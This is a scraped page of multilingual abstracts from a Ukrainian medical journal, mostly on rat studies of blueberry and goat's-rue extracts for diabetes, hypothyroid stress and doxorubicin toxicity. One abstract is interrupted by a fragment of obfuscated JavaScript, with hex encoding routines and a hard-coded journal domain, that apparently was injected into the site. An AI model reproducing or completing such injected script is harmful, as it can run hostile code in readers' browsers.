Дослідження гіпоглікемічних властивостей сухого екстракту чорниці звичайної

The hypoglycemic effect and effective dose of dry extract of Vaccinium Myrtillus L. via oral glucose tolerance test on rats were presented in the paper. The most apparent hypoglycemic activity of dry extract of Vaccinium Myrtillus L. was observed in dose of 50 mg/kg. Such results can be applied in the further pharmacological studies for creating new medicine with hypoglycemic effect based on it.В статье приведены результаты исследования гипогликемического влияния и определения эффективной дозы сухого экстракта черники обыкновенной. Гипогликемическое действие изучали с помощью перорального глюкозотолерантного теста на крысах. Установлено, что после введения сухого экстракта черники обыкновенной наблюдается наиболее выраженный гипогликемический эффект в дозе 50 мг/кг. Это можно использовать в дальнейших фармакологических исследованиях с целью создания на его основании нового лекарственного средства с гипогликемическим действием.У статті наведено результати дослідження гіпоглікемічного впливу та визначення ефективної дози сухого екстракту чорниці звичайної. Гіпоглікемічну дію вивчали за допомогою перорального глюкозотолерантного тесту на щурах. Встановлено, що після введення сухого екстракту чорниці звичайної спостерігається найбільш виражений гіпоглікемічний ефект у дозі 50 мг/кг. Це можна використати в подальших фармакологічних дослідженнях для створення на його основі нового лікарського засобу з гіпоглікемічною дією

ОРГАНІЗАЦІЯ ВИХОВНОЇ РОБОТИ НА КАФЕДРІ ФАРМАКОЛОГІЇ З КЛІНІЧНОЮ ФАРМАКОЛОГІЄЮ

The article elucidates the educational work with students at the Pharmacology and Clinical Pharmacology Department of I. Ya. Horbachevsky Ternopil State Medical University. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті висвітлено виховну роботу зi студентами Тернопільського державного медичного університету імені І. Я. Горбачевського на кафедрі фармакології з клінічною фармакологією.

ДOCЛIДЖЕННЯ ВПЛИВУ ФІТОКОМПОЗИЦІЙ НA ПPOЦECИ НEФEPМEНТAТИВНOГO ГЛIКOЗИЛЮВAННЯ, АКТИВНІСТЬ ЦИТОЛІТИЧНИХ ПРОЦЕСІВ, ПОКАЗНИКИ ЛІПІДНОГО ОБМІНУ ТA БАЛАНС ПЕРОКСИДНОГО ОКИСНЕННЯ ЛІПІДІВ В ОРГАНІЗМІ ТВАРИН ПРИ ЕКСПЕРИМЕНТАЛЬНОМУ ЦУКРОВОМУ ДІАБЕТІ

Introduction. Diabetes mellitus is one of the global medical, social and economic problems today. The treatment of diabetes requires a comprehensive approach and is based on the use of oral hypoglycemic agents, diet therapy, insulin therapy and phytotherapy. The risk of negative side effects increased with combination drug therapy of diabetes. It is important to find a new mechanism of action that can reduce the level of glycemia and insulin resistance, promote the restoration of insulin-forming function of the pancreas and eliminate the harmful effects of developing oxidative stress. In this regard, it is promising to study the hypoglycemic action of medicinal plants. Establishing the features of the effect of phytocomposition, which contains extracts of goat's-rue, blueberries and taurine, the pathogenetic links of experimental pathological processes and mechanisms of its hypoglycemic activity are of high priority and topical, and the results obtained will contribute to the development of new herbal preparations with hypoglycemic action. The aim of the study – to find out the metabolitotropic effects and the feasibility of using a liposomal form of phytocomposition based on goat medicinal, blueberries and taurine to improve the efficiency of metabolic shifts correction in experimental diabetes mellitus. Research Methods. The experiments were performed on adult male rats, which simulated streptozotocin diabetes mellitus, and used Halevit and Arpha-Kombi for correction. Results and Discussion. Phytocomposites on the basis of goat's-rue and Halevit under conditions of therapeutic and prophylactic use in experimental type 2 diabetes contribute to the restoration of carbohydrate metabolism, improve the state of lipid metabolism, oxidant-antioxidant balance of the body by correction in liver resuspension of reduced glutathione, improve cell energy supply processes by stabilizing blood succinate dehydrogenase activity, causing anticytolytic and detoxication effects, thereby reducing the level of endogenous intoxication. Conclusion. The results obtained are the basis for further exploration of the possibilities of combined use of herbal medicine based on goat's-rue to reduce side effects.Вступление. Сахарный диабет – одна из глобальных медико-социальных и экономических проблем современности. Его лечение требует комплексного подхода и основывается на применении пероральных гипогликемических средств, проведении диетотерапии, инсулинотерапии и фитотерапии. Риск возникновения негативных побочных эффектов возрастает при комбинированной фармакотерапии сахарного диабета. Актуальным является поиск принципиально новых по механизму действия средств, способных снижать уровень гликемии и инсулинорезистентность, способствовать восстановлению инсулиноформирующей функции поджелудочной железы и нивелировать вредные для организма проявления оксидативного стресса, который развивается при сахарном диабете. В этом плане перспективным является исследование гипогликемического действия лекарственных растений. Установление особенностей влияния фитокомпозиции, которая содержит экстракты козлятника лекарственного, черники обыкновенной и таурин, на патогенетические звенья экспериментальных патологических процессов и механизмов ее гипогликемической активности является приоритетным и актуальным, а полученные результаты будут способствовать разработке новых фитопрепаратов с гипогликемическим действием. Цель исследования – выяснить метаболитотропные эффекты и обосновать целесообразность применения липосомальной формы фитокомпозиции на основе козлятника лекарственного, черники обыкновенной и таурина для повышения эффективности коррекции метаболических сдвигов при экспериментальном сахарном диабете. Методы исследования. Эксперименты проводили на половозрелых крысах-самцах, которым моделировали стрептозотоциновый сахарный диабет, а для коррекции применяли галевит и арфа-комби. Результаты и обсуждение. Фитокомпозиция на основе козлятника лекарственного, черники обыкновенной и таурина и галевит в условиях лечебно-профилактического применения при экспериментальном сахарном диабете 2 типа способствовали восстановлению показателей углеводного обмена, улучшали состояние липидного обмена, оксидантно-антиоксидантный баланс организма путем коррекции в печени животных активности супероксиддисмутазы, каталазы и сохранения природных резервов восстановленного глутатиона, улучшали процессы энергообеспечения клеток путем стабилизации в крови активности сукцинатдегидрогеназы, вызывали антицитолитическое и детоксикационное влияние, уменьшая тем самым уровень эндогенной интоксикации. Вывод. Полученные результаты – основа для дальнейшего изучения возможностей комбинированного применения фитокомпозиции на основе козлятника лекарственного, черники обыкновенной и таурина с целью уменьшения побочных эффектов.Вступ. Цукровий діабет – одна з глобальних медико-соціальних і економічних проблем сьогодення. Його лікування потребує комплексного підходу і ґрунтується на застосуванні пероральних гіпоглікемічних засобів, проведенні дієтотерапії, інсулінотерапії та фітотерапії. Ризик виникнення негативних побічних ефектів зростає при комбінованій фармакотерапії цукрового діабету. Актуальним є пошук принципово нових за механізмом дії засобів, здатних знижувати рівень глікемії та інсулінорезистентність, сприяти відновленню інсуліноутворювальної функції підшлункової залози і нівелювати шкідливі для організму прояви оксидативного стресу, що розвивається при цукровому діабеті. У цьому відношенні перспективним є дослідження гіпоглікемічної дії лікарських рослин. Встановлення особливостей впливу фітокомпозиції, яка містить екстракти козлятника лікарського, чорниці звичайної і таурин, на патогенетичні ланки експериментальних патологічних процесів та механізмів її гіпоглікемічної активності є пріоритетним і актуальним, а отримані результати сприятимуть розробці нових фітопрепаратів з гіпоглікемічною дією. Мета дослідження – з’ясувати метаболітотропні ефекти та обґрунтувати доцільність застосування ліпосомальної форми фітокомпозиції на основі козлятника лікарського, чорниці звичайної і таурину для підвищення ефективності корекції метаболічних зрушень при експериментальному цукровому діабеті. Методи дослідження. Експерименти проводили на статевозрілих щурах-самцях, яким моделювали стрептозотоциновий цукровий діабет, а для корекції застосовували галевіт та арфа-комбі. Результати й обговорення. Фітокомпозиція на основі козлятника лікарського, чорниці звичайної і таурину та галевіт за умов лікувально-профілактичного застосування при експериментальному цукровому діабеті 2&nbsp;типу сприяли відновленню показників вуглеводного обміну, покращували стан ліпідного обміну, оксидантно-антиоксидантний баланс організму шляхом корекції в печінці тварин активності супероксиддисмутази, каталази і збереження природних резервів відновленого глутатіону, поліпшували процеси енергозабезпечення клітин шляхом стабілізації в крові активності сукцинатдегідрогенази, спричиняли антицитолітичний та детоксикаційний вплив, зменшуючи тим самим рівень ендогенної інтоксикації. Висновок. Отримані результати – підґрунтя для подальшого вивчення можливостей комбінованого застосування фітокомпозиції на основі козлятника лікарського, чорниці звичайної і таурину з метою зменшення побічних ефектів

СКРИНІНГОВІ ДОСЛІДЖЕННЯ ФІТОКОМПОЗИЦІЙ НА ОСНОВІ СУХИХ EКCТPAКТIВ КOЗЛЯТНИКA, ЧОРНИЦІ ЗВИЧАЙНОЇ І ТАУРИНУ З ПОТЕНЦІЙНИМИ ГІПОГЛІКЕМІЧНИМИ ВЛАСТИВОСТЯМИ

Мета роботи. Скринінгові дослідження фітокомпозицій на основі сухих eкcтpaктiв кoзлятникa, чорниці звичайної і таурину з потенційними гіпоглікемічними властивостями Матеріали і методи. Oб'єкт дocлiджeнь – кoмбiнoвaний зaciб нa ocнoвi сухого екстракту кoзлятникa лiкapcькoгo, чорниці звичайної і таурину, а також його ліпосомальна форма з умовною назвою «Галевіт». Проведено дослідження по визнaчeнню найбільш eфeктивниx за гіпоглікемічною активністю дoз фітокомпозиції на основі козлятника лікарського і її ліпосомальної форми «Галевіт» за допомогою орального тесту толерантності до глюкози у тварин. Гiпoглiкeмiчнy дiю досліджуваних екстрактів oцiнювaли зa здaтнicтю знижyвaти piвeнь глюкoзи нa мaкcимyмi poзвиткy гiпepглiкeмiї пicля нaвaнтaжeння глюкoзoю шляxoм пoбyдoви гpaфiкy глiкeмiчнoї кривої. Кoнцeнтpaцiю глюкoзи в кpoвi визнaчaли зa дoпoмoгoю тecт-cмyжoк, глюкoмeтpoм “Accu-Chek performa”. Кpoв для дocлiджeнь oтpимyвaли з xвocтoвoї вeни щypiв, шляxoм диcтaльнoї peзeкцiї xвocтa. Результати й обговорення. Скринінгові дослідження гіпоглікемічної активності фітокомпозиції на основі козлятника лікарського та її ліпосомальної форми під умовною назвою «Галевіт» виявили здатність фітозасобів в дозах 50 мг/кг, 75 мг/кг, 100 мг /кг, 125 мг/кг та 150 мг/кг до зниження рівня глікемії в оральному тесті толерантності до глюкози у інтактних білих щурів. Встановлено, що найбільш виразна гіпоглікемічна активність фітокомпозицій виявила себе в дозах 100, 125 і 150 мг/кг і у терміні 30-60 хв після відтворення тесту. Зниження рівня глікемії під впливом досліджуваних фітокомпозицій у ці терміни експерименту було максимальним і набувало статистично значущих відмінностей від значень тварин, яким фітокорекція не проводилась, або проводилась в нижчих дозах – 50 мг/кг та 75 мг/кг. При цьому встановлено, що подальше збільшення дози фітокомпозицій до 125 мг/кг та 150 мг/кг не призводило до статистично значимого додаткового підвищення гіпоглікемічного ефекту фітокомпозицій в оральному тесті толерантності до глюкози. Аналіз результатів досліджень гіпоглікемічної активності досліджуваних фітокомпозицій показав, що фітокомпозиція Галевіт в дозі 100 мг/кг в оральному тесті толерантності до глюкози проявила більш виразну гіпоглікемічну дію, за якою достовірно переважала гіпоглікемічні ефекти фіто композиції на основі козлятника лікарського в дозі 100 мг/кг і референс-фітозасобу Арфа комбі в дозі 150 мг/кг протягом усього терміну експерименту. Висновки. Встановлено, що в дозі 100 мг/кг фітокомпозиція на основі екстрактів козлятника лікарського, чорниці звичайної і таурину в оральному тесті толерантності до глюкози проявляє найвищу гіпоглікемічну активність. Найбільш виражена гіпоглікемічна дія проявлялась при введені тваринам фітокомпозиції Галевіт

СТАН СИСТЕМИ ПРОТЕЇНАЗИ/ІНГІБІТОРИ ПРОТЕЇНАЗ У ЩУРІВ У ДИНАМІЦІ ІММОБІЛІЗАЦІЙНОГО СТРЕСУ НА ТЛІ ГІПОТИРЕОЗУ

Introduction. In the pathogenesis of many pathological conditions, the violation of the proteinase-inhibitor system is important. In the absence of proper control of proteolysis, a number of pathological conditions, accompanied by the appearance of destructive, inflammatory and immune responses, develops. A number of researchers have established the protective effect of iodine-containing thyroid hormones in stress, realized as a result of their interaction with the cell genome, which leads to stimulation of local stress-limiting systems. The aim of the study – to establish the peculiarities of the functioning of the proteinase system/proteinase inhibitors under conditions of immobilization stress against the background of reduction of the level of iodine-containing hormones of the thyroid gland. Research Methods. Hypothyroidism was modeled daily by the introduction of per os tireostatics of Mercazolil (Zdorovia, Ukraine) at a dose of 25 mg/kg during the 21st day. Acute immobilization was modeled by binding the experimental rats to the back on the 4 limbs without limiting the mobility of the head for a duration of 3 hours. Spectrophotometric and immuno-enzymatic methods were used to study the concentration of iodine-containing hormones of the thyroid gland, the activity of the proteinase system and the content of proteolytic inhibitors. Results and Discussion. The effect of immobilization stress in rats with pre-modeled hypothyroidism on the parameters of the proteinase-inhibitory system of blood has been investigated. At the stage of the anxiety of the development of the stress reaction in euthyroid animals, an increase in the proteolytic activity of the blood was observed against the background of an increase in the content of α1-inhibitor proteases and α2-macroglobulin, indicating an increase in antiprotoitic potential to inhibit the development of degradation. At the stage of resistance there is a stabilization of proteolytic activity of the blood. However, with prolonged stress (depletion stage), the proteolytic activity of blood again significantly increases with the decrease in the activity of protease inhibitors, indicating the depletion of protective inhibitory reserve.In animals with hypothyroidism, at all stages of the development of a stress reaction, there is a significant increase in proteolytic activity of the blood, and the rates of protease inhibitors are significantly reduced. This leads to a sharp increase in the index of proteolysis, which occurs against the background of increased permeability of lysosomal membranes. Conclusion. Against the background of hypothyroidism, more intense than euthyroid animals, an increase in the proteolytic activity of blood against the backdrop of inhibition of antiprotozoal activity and an increase in the permeability of lysosomal membranes is observed.Вступление. В патогенезе многих патологических состояний важное место занимают нарушения протеиназо-ингибиторной системы. При отсутствии надлежащего контроля за протеолизом развиваются патологические состояния, сопровождающиеся возникновением деструктивных, воспалительных и иммунных реакций. Ряд исследователей установил защитное действие йодсодержащих тиреоидных гормонов при стрессе, которые реализуются в результате их взаимодействия с клеточным геномом, что приводит к стимуляции локальных стресс-лимитирующих систем. Цель исследования – установить особенности функционирования системы протеиназы/ингибиторы протеиназ в условиях иммобилизационного стресса на фоне снижения уровня йодсодержащих гормонов щитовидной железы. Методы исследования. Гипотиреоз моделировали, ежедневно вводя животным peros тиреостатик мерказолил (“Здоровье”, Украина) в дозе 25 мг/кг в течение 21-х суток. Острый иммобилизационный стресс моделировали путем привязывания подопытных крыс в положении на спине за 4 конечности без ограничения подвижности головы продолжительностью 3 ч. Для исследования концентрации йодсодержащих гормонов щитовидной железы, активности протеиназной системы и содержания ингибиторов протеолиза использованы спектрофотометрические и иммуноферментные методы. Результаты и обсуждение. Исследовано влияние иммобилизационного стресса у крыс с предварительно смоделированным гипотиреозом на показатели протеиназо-ингибиторной системы крови. На стадии тревоги развития стресс-реакции в эутиреоидних животных установлено повышение протеолитической активности крови на фоне увеличения содержания α1-ингибитора протеаз и α2-макроглобулина, что указывает на усиление антипротеолитического потенциала для сдерживания развития деструкции. На стадии резистентности происходила стабилизация протеолитической активности крови. Однако при длительном стрессе (стадия истощения) она снова достоверно возрастала на фоне снижения активности ингибиторов протеаз, что свидетельствует об истощении защитного ингибиторного резерва. У животных с гипотиреозом на всех стадиях развития стресс-реакции имело место достоверное повышение протеолитической активности крови, причем показатели ингибиторов протеаз достоверно уменьшались. Это приводило к резкому возрастанию индекса протеолиза, что происходило на фоне увеличения проницаемости лизосомальных мембран. Вывод. На фоне гипотиреоза наблюдают более интенсивное, чем в эутиреоидних животных, возрастание протеолитической активности крови на фоне угнетения антипротеазной активности и увеличения проницаемости лизосомальных мембран.Вступ. У патогенезі багатьох патологічних станів важливе місце посідають порушення протеїназо-інгібіторної системи. При відсутності належного контролю за протеолізом розвиваються патологічні стани, що супроводжуються виникненням деструктивних, запальних та імунних реакцій. Ряд дослідників встановив захисну дію йодовмісних тиреоїдних гормонів при стресі, які реалізуються в результаті їх взаємодії з клітинним геномом, що призводить до стимуляції локальних стрес-лімітуючих систем. Мета дослідження – встановити особливості функціонування системи протеїнази/інгібітори протеїназ за умов іммобілізаційного стресу на тлі зниження рівня йодовмісних гормонів щитоподібної залози. Методи дослідження. Гіпотиреоз моделювали, щоденно вводячи тваринам per os тиреостатик мерказоліл (“Здоров’я”, Україна) у дозі 25 мг/кг протягом 21-ї доби. Гострий іммобілізаційний стрес моделювали шляхом прив’язування піддослідних щурів у положенні на спині за 4 кінцівки без обмеження рухо­мості голови тривалістю 3 год.Для дослідження концентрації йодовмісних гормонів щитоподібної залози, активності протеїназної системи і вмісту інгібіторів протеолізу використано спектрофотометричні та імуноферментні методи. Результати й обговорення. Досліджено вплив іммобілізаційного стресу в щурів з попередньо змодельованим гіпотиреозом на показники протеїназо-інгібіторної системи крові. На стадії тривоги розвитку стрес-реакції в евтиреоїдних тварин встановлено підвищення протеолітичної активності крові на тлі збільшення вмісту α1-інгібітора протеаз та α2-макроглобуліну, що вказує на посилення антипротеолітичного потенціалу для стримування розвитку деструкції.На стадії резистентності відбувалася стабілізація протеолітичної активності крові. Однак при тривалому стресі (стадія виснаження) вона знову достовірно зростала на тлі зниження активності інгібіторів протеаз, що свідчить про виснаження захисного інгібіторного резерву. У тварин з гіпотиреозом на всіх стадіях розвитку стрес-реакції мало місце достовірне підвищення протеолітичної активності крові, причому показники інгібіторів протеаз достовірно зменшувалися. Це призводило до різкого зростання індексу протеолізу, що відбувалося на тлі збільшення проникності лізосомальних мембран. Висновок. На тлі гіпотиреозу спостерігають інтенсивніше, ніж у евтиреоїдних тварин, зростання протеолітичної активності крові на фоні пригнічення антипротеазної активності та збільшення проникності лізосомальних мембран

ВПЛИВ ФІТОКОМПОЗИЦІЇ НА ОСНОВІ КОЗЛЯТНИКА ЛІКАРСЬКОГО І ГAЛEВIТУ НА МЕТАБОЛІЧНІ ЗМІНИ У ТВАРИН З ІНСУЛІНОРЕЗИСТЕНТНІСТЮ, IНДУКOВAНOЮ ДEКCAМEТAЗOНOМ

Introduction. In Ukraine and in the world, type 2 diabetes mellitus is one of the most common chronic diseases characterized by metabolic disorders, insulin resistance and relative insufficiency of insulin. The main purpose of the treatment of this disease is to preserve the function of β-cells and reduce insulin resistance. The aim of the study – to investigate the effect of the phytocomposite of the goat's-rue and Halevit on metabolic changes in insulin resistance rats, induced by dexamethasone. Research Methods. The research object is the photocomposition of the dry extract Galega officinalis L, blueberries and taurine, as well as its liposomal form under the conditional name Halevit. The investigated photocompositions standardized for the content of flavonoids. Another medicine is Arfa combi. The study was conducted on white rats. The prevalence level was assessed with changes in glycaemia levels after an oral glucose tolerance test, and the lipid metabolism status was assessed for changes in cholesterol by the value of the integral index of the area under the glycemic curve – AUCglu (glycemic area under curve, AUCglu, mmol / L × X), common lipids and triglycerides, the corresponding changes in the LP / AOS system were evaluated with the content of TBA-AP and G-SH. Results and Discussion. Investigation of metabolite-tropic effects of phytocompositions on the models of insulin resistance induced by dexamethasone showed that the application of Halevit also leads to more effective improvement of practically all investigated parameters of carbohydrate and lipid metabolism, balance of parameters of oxidant-antioxidant system as compared to the equivalent ones in the group of animals treated by reference phytopreparation Arfa combi and goat's-rue phytocomposition. This herbal remedy more effectively corrected the level of glycemia at OGTT in animals with insulin resistance. At the same time, the dynamics of glycemia at glucose challenge in those animals was not significantly different from those of the control group. In animals with insulin resistance there was a pronounced dyslipidemia characterized by an increased level of total lipids, cholesterol and triglycerides, which may be due to the activation of lipolysis in adipose tissue and disorderof of lipids utilization in liver. Investigated phytopreparations in experimental insulin resistance caused a distinct hypolipidemic and hypocholesteremic activity. Conclusions. Under conditions of experimental dexamethasone-induced insulin resistance in animals, the photocompositions tested are capable of preventing carbohydrate and lipid metabolism disorders, correcting the disturbances of the oxidant-antioxidant balance in the tissues of the body by preserving the natural reserves of the intracellular antioxidant – reduced glutathione, which contributes to reducing the manifestations of insulin resistance and glucose tolerance in OTTG.Вступление. В Украине и мире сахарный диабет 2 типа – одно из наиболее распространенных хронических заболеваний, характеризующихся нарушением метаболизма, инсулинорезистентностью и относительной недостаточностью инсулина. Главная цель лечения данного заболевания – сохранение функции β-клеток и уменьшение инсулинорезистентности. Цель исследования – изучить влияние фитокомпозиции на основе козлятника лекарственного и галевита на метаболические изменения у крыс с инсулинорезистентностью, индуцированной дeкcaмeтaзoнoм. Методы исследования. Экспериментальные исследования выполняли нa белыx нeлинейныx крысах-caмцаx путем подкожного ежесуточного введения дексаметазона (“KRKA”, Словения, 0,125 мг/кг) в течение 13-ти суток. Фитосредства вводили профилактически перорально ежесуточно за один час до инъекции дексаметазона; животные контрольной группы получали соответствующий объем изотонического раствора. Состояние yглeвoднoгo oбмена оценивали по изменениям уровня гликемии после проведения орального теста толерантности к глюкозе и по величине интегрального показателя площади под гликемическими кривыми – AUCglu (glicemic area under curve, AUCglu (ммoль/л·мин); состояние липидного обмена – по изменениям содержания холестерола, общих липидов, триацилглицеролов крови; изменения оксидантно-антиоксидантного состояния – по содержанию ТБК-активных продуктов и восстановленного глутатиона. Результаты и обсуждение. Введение лабораторным животным дексаметазона вызвало повышение уровня глюкозы, базальной гликемии, увеличение площади под гликемическими кривыми в сыворотке крови крыс. При длительном введении исследуемых фитокомпозиций наблюдали восстановление толерантности к глюкозе у крыс экспериментальных групп. У животных, которым вводили препарат сравнения “Арфа комби” и фитокомпозицию на основе козлятника лекарственного, отмечали, что на фоне глюкозной нагрузки уровень гликемии был практически тождественным, а площадь под гликемическими кривыми была достоверно меньше по сравнению с группой контрольной патологии. У животных контрольной группы наблюдали диcлипидeмию, что указывало на активацию липолиза в жировой ткани и нарушения утилизации липидов в печени. При применении галевита содержание холестерола и триацилглицеролов снижалось по сравнению с использованием фитокомпозиции на основе козлятника лекарственного, что связано с самостоятельными гипохолестеринемическими и гиполипидемическими свойствами липосом. Peзyльтaты проведенных исследований указывают на возможность положительного влияния фитокомпозиций на баланс показателей оксидантно-антиоксидантной системы организма в условиях отмеченной патологии. Выводы. При экспериментальной дексаметазониндуцированной инсулинорезистентности у животных исследуемые фитокомпозиции способны предотвращать нарушения углеводного и липидного обмена, корректировать нарушения оксидантно-антиоксидантного баланса в тканях организма путем сохранения природных резервов внутриклеточного антиоксиданта – восстановленного глутатиона, что способствует уменьшению проявлений инсулинорезистентности и толерантности к глюкозе в оральлном тесте толерантности к глюкозе.Вступ. В Україні та світі цукровий діабет 2 типу – одне з найбільш поширених хронічних захворювань, що характеризуються порушенням метаболізму, інсулінорезистентністю та відносною недостатністю інсуліну. Головна мета лікування данного захворювання – збереження функції β-клітин та зменшення інсулінорезистентності. Мета дослідження – вивчити вплив фітокомпозиції на основі козлятника лікарського тa галевіту на метаболічні зміни в щурів з інсулінорезистентністю, iндукoвaнoю дeкcaмeтaзoнoм. Методи дослідження. Експериментальні дослідження виконували на бiлиx нeлiнiйниx щypax-caмцяx шляхом підшкірного щодобового введення дексаметазону (“KRKA”, Словенія, 0,125 мг/кг) протягом 13-nb діб. Фітозасоби вводили профілактично перорально щодобово за одну годину до ін’єкції дексаметазону; тварини контрольної групи отримували відповідний об’єм ізотонічного розчину. Стaн вyглeвoднoгo oбмiнy оцінювали зa змiнaми рівня глікемії після проведення орального тесту толерантності до глюкози та за величиною інтегрального показника площі під глікемічними кривими – AUCglu (glicemic area under curve, AUCglu (ммoль/л∙xв); стан ліпідного обміну – зa змінами вмісту холестеролу, загальних ліпідів, триацигліцеролів крові; зміни оксидантно-антиоксидантного стану – зa вмicтoм ТБК-активних продуктів і відновленого глутатіону. Результати й обговорення. Введення лабораторним тваринам дексаметазону викликало підвищення рівня глюкози, базальної глікемії, збільшення площі під глікемічними кривими в сироватці крові щурів. При тривалому введенні досліджуваних фітокомпозицій спостерігали відновлення толерантності до глюкози в щурів експериментальних груп. У тварин, яким вводили препарат порівняння “Арфа комбі” та фітокомпозицію на основі козлятника лікарського, відмічали, що на тлі глюкозного навантаження рівень глікемії був практично тотожним, а площа під глікемічними кривими була достовірно меншою порівняно з групою контрольної патології. У тварин контрольної групи спостерігали диcлiпiдeмiю, що вкaзyвало нa aктивaцiю лiпoлiзy в жиpoвiй ткaнинi тa пopyшeння yтилiзaцiї лiпiдiв y печінці. При застосуванні галевіту вміст холестеролу і триацилгліцеролів знижувався порівняно з використанням фітокомпозиції на основі козлятника лікарського, що пов’язано із самостійними гіпохолестеринемічними та гіполіпідемічними властивостями ліпосом. Peзyльтaти проведених дocлiджeнь вказують на можливість позитивного впливу фітокомпозицій на баланс показників оксидантно-антиоксидантної системи організму за умов зазначеної патології. Висновки. При експериментальній дексаметазоніндукованій інсулінорезистентності у тварин досліджувані фітокомпозиції здатні запобігати порушенням вуглеводного і ліпідного обміну, коригувати порушення оксидантно-антиоксидантного балансу в тканинах організму шляхом збереження природних резервів внутрішньоклітинного антиоксиданту – відновленого глутатіону, що сприяє зменшенню проявів інсулінорезистентності і толерантності до глюкози в оральному тесті толерантності до глюкози

ІНФОРМАЦІЙНА СИСТЕМА ПІДСУМКОВОГО ОЦІНЮВАННЯ ЗНАНЬ ІНОЗЕМНИХ ГРОМАДЯН НА ДОДИПЛОМНОМУ ЕТАПІ ПІДГОТОВКИ ЛІКАРІВ

Improved teaching and objective assessment disciplines through innovative education and computer technology. Training of foreign nationals with a high level of practical competence is one of the important factors for further development of the educational institution in the direction of integration into the international educational space. Introduction of the information system of the complex semester test exam for the final assessment of knowledge of foreign medical students in order to improve the quality of training of doctors from among foreign citizens in the undergraduate stage. The number of international students is increasing annually. Undergraduate training of foreign doctors is carried out for six years. The level of practical and professional competences of foreign students has allowed to improve a number of introduced new learning technologies that continue to be improved. The use of innovative assessment technologies for foreign students in the undergraduate stage of physician training allows to objectively determine the level of knowledge. Comprehensive multi-level approach with appropriate software makes it possible to achieve the objective evaluation discipline, data processing and interpretation of results. The complex application of the latest information and pedagogical technologies allows to significantly increase the level of training of foreign citizens. Improving the success of international students in the learning process testifies to the effectiveness of teaching methods and technologies, as well as the emergence over time of objective motivation to acquire sound knowledge and skills. The experience of implementing an independent final assessment system with a sufficient level of objectivity can be used in further studies on the development of educational information systems to improve the quality of undergraduate physician training with effective management of the educational process. The experience of implementing an independent final assessment system with a sufficient level of objectivity can be used in further studies on the development of educational information systems to improve the quality of undergraduate physician training with effective management of the educational process.Підвищення ефективності викладання та об’єктивності оцінювання дисциплін можливе за допомогою інноваційних освітніх та комп’ютерних технологій. Підготовка фахівців із числа іноземних громадян з високим рівнем практичної компетентності – один із важливих чинників подальшого розвитку навчального закладу в напрямку інтеграції у міжнародний освітній простір. У статті висвітлено досвід впровадження інформаційної системи комплексного семестрового тестового іспиту для підсумкового оцінювання знань іноземних студентів-медиків з метою підвищення якості підготовки лікарів із числа іноземних громадян на додипломному етапі. Число іноземних студентів зростає щорічно. Додипломна підготовка лікарів-іноземців здійснюється упродовж шести років. Рівень практичної та професійної компетентностей іноземних студентів дозволив покращити низку впроваджених новітніх технологій навчання, які продовжують удосконалюватись. Застосування інноваційних технологій оцінювання іноземних студентів на додипломному етапі підготовки лікарів дозволяє об’єктивно визначати рівень знань. Комплексний багаторівневий підхід з відповідним програмним забезпеченням дає можливість досягти об’єктивності оцінювання дисципліни, обробки даних та інтерпретації результатів. Комплексне застосування новітніх інформаційних та педагогічних технологій дозволяє суттєво підвищити рівень підготовки фахівців із числа іноземних громадян. Покращення успішності іноземних студентів у процесі навчання свідчить про ефективність навчальних методик та технологій, а також про появу з часом об’єктивної мотивації до здобуття ґрунтовних знань та вмінь. Досвід упровадження незалежної системи підсумкового оцінювання з достатнім рівнем об’єктивності може бути використаний у подальших дослідженнях щодо розробки інформаційних освітніх систем для підвищення якості додипломної підготовки лікарів із числа іноземних громадян з ефективним управлінням навчальним процесом

ПРООКСИДАНТНО-АНТИОКСИДАНТНИЙ БАЛАНС В ОРГАНІЗМІ ЩУРІВ НА ТЛІ СУБХРОНІЧНОЇ ДОКСОРУБІЦИНОВОЇ ТОКСИЧНОСТІ ТА ЗАСТОСУВАННЯ ЕНТЕРОСОРБЦІЇ І ФІЛГРАСТИМУ (огляд літератури та результати власних досліджень)

Introduction. Anthracyclines are among the most effective anti-cancer and cytotoxic drugs along years. Unfortunately, over the years, its cardiotoxic effects and irreversible heart damage with followed congestive heart failure is still unresolved problem for today. The aim of the study – to estimate the effects of enteral sorption therapy and biosimilar of granulocyte colony stimulating factor (G-CSF) on the oxidative stress indices in Subchronic doxorubicin toxicity. Research Methods. Subchronic doxorubicin toxicity was modeled on rats, for correction carbon granular oral adsorbent C1 was used alone and in combination with Filgrastim. The indices of oxidative stress development were studied, namely TBA-products, activity of SOD and catalase. Level of reduced glutathione in heart and liver tissues and in blood serum, as well as total antioxidant activity of the blood. Results and Discussion. Prooxidant-antioxidant imbalance was detected in subchronic doxorubicin toxicity with increased levels of TBA-products in blood serum (in 2.07 times), in the heart tissues (in 2.3 times) and on the liver (in 1.7 times). At the same time, we observed inhibition of endogenic antioxidant defense with suppressed activity of catalase and SOD, and lower level of reduced glutathione, which was expressed the most in the heart tissue predominantly. Enterosorption with C2 promoted a prooxidant-antioxidant balance restore. Combination of C2 with Filgrastim demonstrated the tendency to positive progress of all indices and was significantly better (compared to C2 use only) for the indices of TBA-products catalase activity in the heart tissues and catalase activity in blood serum. Conclusion. The results of our study are a substantiation for deeper research of capability of enterosorption and G-CSF Filgrastim to ameliorate the anthracyclines side effects.Вступление. Антрациклиновые антибиотики остаются одними из наиболее востребованных противоопухолевых лекарственных средств благодаря высокой цитотоксичной и противоопухолевой активности. Однако на протяжении многих лет нерешенной проблемой остается их кардиотоксичность и способность вызывать необратимое повреждение миокарда с развитием застойной сердечной недостаточности с высокой летальностью. Цель иссследования – изучить влияние энтеральной сорбционной терапии и препарата гранулоцитарного колониестимулирующего фактора на показатели прооксидантно-антиоксидантного равновесия у крыс на модели субхронической токсичности доксорубицина. Методы исследования. Эксперименты проводили на половозрелых крысах-самцах, у которых моделировали субхроническую доксорубициновую токсичность, а для коррекции применяли гранулированный углеродный энтеросорбент С2 самостоятельно и в комбинации с филграстимом. Исследовали показатели ТБК-активных продуктов, активность каталазы, супероксиддисмутазы, содержание восстановленного глутатиона в тканях сердца, печени и сыворотке крови, общую антиокислительную активность сыворотки крови. Результаты и обсуждение. На фоне субхронической доксорубициновой токсичности у крыс выявлено нарушение прооксидантно-антиоксидантного баланса, которое проявлялось возрастанием уровня ТБК-активных продуктов в сыворотке крови (в 2,07 раза), тканях сердца (в 2,3 раза) и печени (в 1,7 раза). 